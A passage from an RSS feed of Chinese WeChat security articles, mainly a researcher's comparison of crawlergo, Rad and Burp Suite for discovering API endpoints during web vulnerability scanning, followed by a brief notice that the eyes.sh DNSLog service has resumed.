style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">早些年，得资产者得天下</span><span textstyle="" style="font-size: 14px;">。 白帽子手上掌握的目标资产越全，越容易捡到漏洞。主要是：</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">域名、IP、端口、指纹、业务特性、框架、字典等</span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">如今，</span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">资产中最重要的部分，已经变成了API接口</span><span textstyle="" style="font-size: 14px;">。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">同样的Web目标入口：</span></span></section><ul style="list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">1) 静态爬虫扫描器：获取API接口能力接近为</span><span textstyle="" style="font-size: 14px;font-weight: bold;">0</span></span></section></li><li><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">2) 动态爬虫扫描器： 若无法带身份扫描，获取API接口接近</span><span textstyle="" style="font-size: 14px;font-weight: bold;">5%</span></span></section></li><li><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;},&#34;listitem&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">3) 动态爬虫扫描器 + 支持认证： </span></span><span style="font-size: 14px;letter-spacing: 0.034em;background-color: transparent;"><span leaf="">如果不具备深度发现API接口的功能，接近发现<span textstyle="" style="font-weight: bold;">30%</span></span></span></section></li><li><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;},&#34;listitem&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">4) Burp Suite + 人工导航： 接近发现</span><span textstyle="" style="font-size: 14px;font-weight: bold;">40%</span><span textstyle="" style="font-size: 14px;">，很多接口，测试同学的账号找不到功能入口，不具备身份权限</span></span></section></li></ul><section style="margin: 8px 16px 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">因此，现在白帽子挖不到漏洞，一个重要的门槛，是没有所需权限的测试帐号，比如商家端、企业类型的帐号。在获取测试账号这一环节会浪费较多时间</span></span></section><ul style="list-style-type: square;" class="list-paddingleft-1"><li style="font-size:14px;"><section style="margin-top: 8px;margin-bottom: 8px;"><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;},&#34;listitem&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">5) 动态爬虫+Burp+Fuzz+人工： 幸运的情况下，能接近</span><span textstyle="" style="font-size: 14px;font-weight: bold;">50%</span></span></section></section></li></ul><section style="margin-top: 24px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;},&#34;listitem&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">上面的说法显得夸张，但实际情况是，</span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">绝大部分web应用，暴露到前端功能界面，Javascript源代码中的，往往都只是一个API子集</span><span textstyle="" style="font-size: 14px;">。 后面API还多着呢，看不见，测不到，才是更为普遍的情况。</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">总结几个主要的观点：</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">1)  API接口的自动化发现已经成为黑盒Web漏扫的决定性因素之一</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">2）接口发现通常需要依赖动态爬虫，需要JS解释器</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">3) 需要解决身份认证的问题，没有认证信息，多数接口请求不会成功</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">4) 需要支持复杂的交互，智能的交互，触发API调用</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">5）需要能够fuzz，发现没有在JS中引入的更多接口</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;},&#34;listitem&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">6) 需要获取到接口的参数名和参数值，用于漏洞测试</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf="" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;},&#34;listitem&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><br/></span></section><section style="font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;background-color: rgb(149, 185, 238);min-width: 5%;flex: 0 0 auto;height: auto;text-align: center;color: rgb(255, 255, 255);-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="0 0 []"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);font-weight: bold;">  Crawlergo vs Rad vs BurpSuite  </span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">笔者对白帽子常用的几个爬虫工具进行了评估，分别是：</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">1) </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">crawlergo </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">0.4.4</span><span textstyle="" style="font-size: 14px;">（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">开源</span><span textstyle="" style="font-size: 14px;">）</span></span><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">2) </span><span textstyle="" style="font-size: 14px;font-weight: bold;">Rad 1.0</span><span textstyle="" style="font-size: 14px;">（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">不开源</span><span textstyle="" style="font-size: 14px;">）</span></span><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">3) </span><span textstyle="" style="font-size: 14px;font-weight: bold;">Burp Suite Professional 2025.1.4</span><span textstyle="" style="font-size: 14px;">（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">不开源</span><span textstyle="" style="font-size: 14px;">）</span></span><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">不可否认，这3个工具都非常优秀。 然而，在API深度发现方面，它们都存在一定的不足。</span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><br/></span></section><section style="font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;background-color: rgb(149, 185, 238);min-width: 5%;flex: 0 0 auto;height: auto;text-align: center;color: rgb(255, 255, 255);-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline-block; vertical-align: top; width: auto; background-color: rgb(149, 185, 238); min-width: 5%; flex: 0 0 auto; height: auto; text-align: center; color: rgb(255, 255, 255); -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; outline: 0px; max-width: 100%; box-sizing: border-box; clear: both; min-height: 1em; visibility: visible; overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span><span textstyle="" style="font-size: 16px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">Crawlergo的问题</span><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Crawlergo是一个非常优秀的开源项目，能看出来作者分析解决了很多细节问题。这是一份极具参考价值的源代码。作者写了十分详尽的文章介绍实现细节，值得阅读</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;text-indent: 2em;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(61, 167, 66);"><a href="https://www.anquanke.com/post/id/178339" target="_blank">https://www.anquanke.com/post/id/178339</a></span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">现在的版本存在以下问题：</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">1) 表单填充的逻辑较为简单，作者没有进一步完善</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">2) 自动填表在Element UI等情况下无法工作，示例代码</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">&lt;<span class="code-snippet__built_in">input</span> <span class="code-snippet__built_in">type</span>=<span class="code-snippet__string">&#34;text&#34;</span> <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;el-select__input&#34;</span> autocomplete=<span class="code-snippet__string">&#34;off&#34;</span> role=<span class="code-snippet__string">&#34;combobox&#34;</span></span></code></pre></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">上述元素是一个combo 下拉框输入，crawlergo只看到是一个text input。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">3) 会遗漏API接口，测试中发现modal框中触发的交互请求，是没有捕获到API接口的</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">4）</span><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: bold;">作者提到了拦截HTTP请求返回</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: bold;">204，锁定导航。 实测大部分情况有效，一部分情况下未能锁定，因为，导航时甚至都没有新的Request产生</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">5)  大量无效的请求和误报，前端打包后产生的大量无效的URL，被请求后写入结果</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">6）工具没有提供交互登录支持（rad burp有）</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">总结： 交互深度不够、无效结果多，接口发现不够</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline-block; vertical-align: top; width: auto; background-color: rgb(149, 185, 238); min-width: 5%; flex: 0 0 auto; height: auto; text-align: center; color: rgb(255, 255, 255); -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; outline: 0px; max-width: 100%; box-sizing: border-box; clear: both; min-height: 1em; visibility: visible; overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span><span textstyle="" style="font-size: 16px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">Rad的问题</span><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Rad是长亭发布的爬虫工具，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">运行效率很高，并且支持 --wait-login 交互登录。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">它的问题是结果不够稳定，多次</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">运行，结果不一致，一会儿多，一会儿少（站点本身是稳定的）。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">释放的leakless.exe文件在PC上被会识别为木马。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">由于没有代码，没有准确定位到具体问题。但整体API接口发现率同样不足。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">总结： 结果不确定、接口发现不够</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span><span textstyle="" style="font-size: 16px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">Burp Suite的问题</span><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">当前Burp Suite是支持动态爬虫的。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">但是，离谱的是它并不支持直接固定和保存认证身份。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: bold;">用户交互得到的身份认证凭据，应该被扫描器视为一个高成本、高价值的数据。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: bold;">显然，Burp这块设计是存在不足的。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">如下图所示</span></span></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000100" class="rich_pages wxw-img" data-ratio="0.92336217552534" data-s="300,640" data-type="png" data-w="809" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6765ab46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n7IH5g5bBxmbOmU5ZYIeDWhNXfHwE1ib5f8dhTl5v3Iw8mDrhfN73vgyHSJgibagPIpiaicMnn0UqzxA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">只有2种模式：  1) 录入账号密码    2) 录制登录行为序列并重放</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">问题是，</span><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: bold;">重放一般是在大型网站是无法成功的，现在很多扫码登录、验证码单次登录的</span><span textstyle="" style="font-size: 14px;">。重放登录只对一些小网站有点效果罢了。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">看文档，提到能</span><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: bold;">配置cookie jar，测试发现，对headless chrome无效</span><span textstyle="" style="font-size: 14px;">。cookie jar的规则并不能被初始化到动态爬虫中，这里出现巨坑</span></span></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000101" class="rich_pages wxw-img" data-ratio="0.5732647814910026" data-s="300,640" data-type="png" data-w="778" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=db54b629&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n7IH5g5bBxmbOmU5ZYIeDWYaicBwnjauNwG94a2yfW9PqTHyicnXpyYh2T6Koseia0vSIW8bWfJB5bQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">因为无法修改Burp的</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">chromium启动参数，我尝试去已启动的</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">chromium 进程目录下手工注入登录会话，结果测试也失败了。Burp不会复用这个父进程的user dir。 </span></span></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000102" class="rich_pages wxw-img" data-ratio="0.3204819277108434" data-s="300,640" data-type="png" data-w="415" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a0cf8fa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n7IH5g5bBxmbOmU5ZYIeDWZo5UiaedI3EvYENKBCrwWiaABI2ykRBDGL8qfKBmkjzKc625UJelGFRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 17px;color: rgb(255, 76, 0);font-weight: bold;">总结：内部的cookie jar无法预注入到chromium爬虫，爬虫效果待验证。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">验证方案为：</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(0, 0, 0);font-weight: bold;">通过本地127.0.0.1反向代理目标网站，默认注入Cookie，burp爬虫自带身份爬取目标网站。</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span><span textstyle="" style="font-size: 16px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">总结</span><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);color: rgb(255, 255, 255);font-weight: bold;">  </span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">本篇笔者先介绍测试结论：目前常见的爬虫工具中，对API接口深度发现存在一定的不足。这个爬虫的复杂度在于：</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">1） 登录、获取身份、维持身份</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">2） 爆破、fuzz接口</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">3)  自动填表、自动触发API请求（覆盖率不足）</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">4）其他通用爬虫的基础难题： 去重、效率等</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">未完待续</span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">1) </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">crawlergo </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">0.4.4</span><span textstyle="" style="font-size: 14px;">（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">开源</span><span textstyle="" style="font-size: 14px;">）: </span></span><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">  <a href="https://github.com/Qianlitp/crawlergo" target="_blank">https://github.com/Qianlitp/crawlergo</a></span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">2) </span><span textstyle="" style="font-size: 14px;font-weight: bold;">Rad 1.0</span><span textstyle="" style="font-size: 14px;">（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">不开源</span><span textstyle="" style="font-size: 14px;">）: </span></span><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">   <a href="https://github.com/chaitin/rad" target="_blank">https://github.com/chaitin/rad</a></span></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">3) </span><span textstyle="" style="font-size: 14px;font-weight: bold;">Burp Suite Professional 2025.1.4</span><span textstyle="" style="font-size: 14px;">（</span><span textstyle="" style="font-size: 14px;font-weight: bold;">不开源</span><span textstyle="" style="font-size: 14px;">）:  </span></span><span leaf=""><br/></span></section><section style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">   <a href="https://portswigger.net/burp" target="_blank">https://portswigger.net/burp</a></span></span></section><section style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><br/></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483753">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=67dde162&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483753%26idx%3D1%26sn%3D9a31d96efa56ac96368a894180bcb487%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 30 Apr 2025 19:38:00 +0800</pubDate>
    </item>
    <item>
      <title>eyes.sh 优化后恢复服务(DNSLog服务)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483745&amp;idx=1&amp;sn=db8b796d184c4e80c921cb0f92e7302f</link>
      <description>https://eyes.sh  现存大约2000名用户。前阵子因为发现有丢日志现象，临时关停了服务。经过一些优化后，目前该服务已经恢复上线。</description>
      <content:encoded><![CDATA[<p>
<span>Li JieJie</span> <span>2024-06-11 09:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>https://eyes.sh  现存大约2000名用户。前阵子因为发现有丢日志现象，临时关停了服务。经过一些优化后，目前该服务已经恢复上线。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=11ae4f28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9ltd1PXaJHxy2qakRzKWQRzdsdskjTlxPxhwyNEqn4kZlGew6eUNicERjp5Tkk5mSXxN1W6GBj8KKA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


